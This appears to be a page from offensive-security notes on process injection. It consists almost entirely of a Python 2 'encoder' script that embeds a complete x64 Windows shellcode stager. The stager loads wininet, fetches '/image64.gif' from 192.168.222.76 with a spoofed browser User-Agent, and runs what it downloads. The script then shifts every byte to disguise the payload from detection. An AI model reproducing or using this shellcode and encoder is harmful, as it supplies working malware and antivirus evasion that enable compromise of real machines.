Process Injection
Python Encoder
import sys
payload = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x69\x6d\x61\x67\x65\x36\x34\x2e\x67\x69\x66\x00\xf0\x5f\x50\x05\x2e\x79\xe2\x37\x4c\x50\xcc\xa2\x96\xbb\x15\x96\x0a\x26\x29\x23\x6f\xae\xdd\xab\xa6\x31\x74\xa8\xae\x81\x04\x5e\xc9\x10\xa2\xe6\x11\xe5\x74\xa0\x8d\x28\x9d\x12\xee\x47\x63\xda\x2f\x76\x2f\xc9\x78\x6b\x1d\x27\xb0\xf7\x36\x58\x09\x19\xe8\xc0\xba\xda\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x72\x76\x3a\x38\x39\x2e\x30\x29\x20\x47\x65\x63\x6b\x6f\x2f\x32\x30\x31\x30\x30\x31\x30\x31\x20\x46\x69\x72\x65\x66\x6f\x78\x2f\x38\x39\x2e\x30\x0d\x0a\x00\x97\x85\x83\x0e\xce\x35\x91\x7b\xe6\x5d\x6a\xe0\xae\x9a\xe7\xdc\xa8\x87\x7b\x4e\xf9\xf8\x12\xcd\x6e\xd8\x5e\x15\x52\x20\x50\x00\x0f\xfe\x84\xc5\x3b\x49\x49\x2d\xaf\x95\x76\x00\x41\xde\x47\x46\x71\x02\x2e\xb6\xea\x5c\xa9\xb5\x55\xcd\xf7\x18\x5d\x5f\x40\xfb\xfe\x17\xa9\x5f\x9e\x28\xd9\x02\xa5\xc7\x9a\xde\xc4\x44\x00\x03\x42\x05\x97\x8b\xb4\xbe\x48\x14\xe1\x9a\xd9\x1a\xf2\xa3\x54\x47\xda\x5e\x8a\x97\x0c\x6e\x63\xbb\xa4\xc3\x59\x51\xbf\xd4\xfd\x36\x2b\xcd\x25\x26\x9f\xc8\xd5\x82\x80\xaa\x32\xf2\xae\x5e\x28\xce\x95\xca\x99\xe7\xce\x42\xdb\x4e\x6c\x6a\x34\xfe\x25\x3f\x26\x86\x0b\xa0\xc2\xfe\x35\x47\xdc\x86\x71\x22\x0f\xee\x4a\x86\x9b\xe2\xd1\x94\xb8\xa4\xa8\xb6\x9e\x1d\xea\x65\x36\xe9\x6b\x43\x95\xc4\x0a\xe1\x76\x4c\x00\x6c\x71\x1d\x0d\x60\xce\xaf\x56\xec\xd2\xf7\x7d\x9a\xa8\xb3\xeb\xf9\x79\xd3\x45\xf6\x11\xae\xce\x8e\xaf\xd3\xa3\xd8\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x28\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x32\x2e\x37\x36\x00\x12\x34\x56\x78"
original_payload = bytearray(payload)
new_payload = []
for opcode in original_payload:
if opcode == 255:
new_opcode = opcode
else:
new_opcode = opcode + 0x01
new_payload.append(new_opcode)
print "opcode -> before:", opcode, ", after:", new_opcode
print "----------------------------------------------------------------------------"
print "New Data in Hex:"
print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_payload])Malware Code
Last updated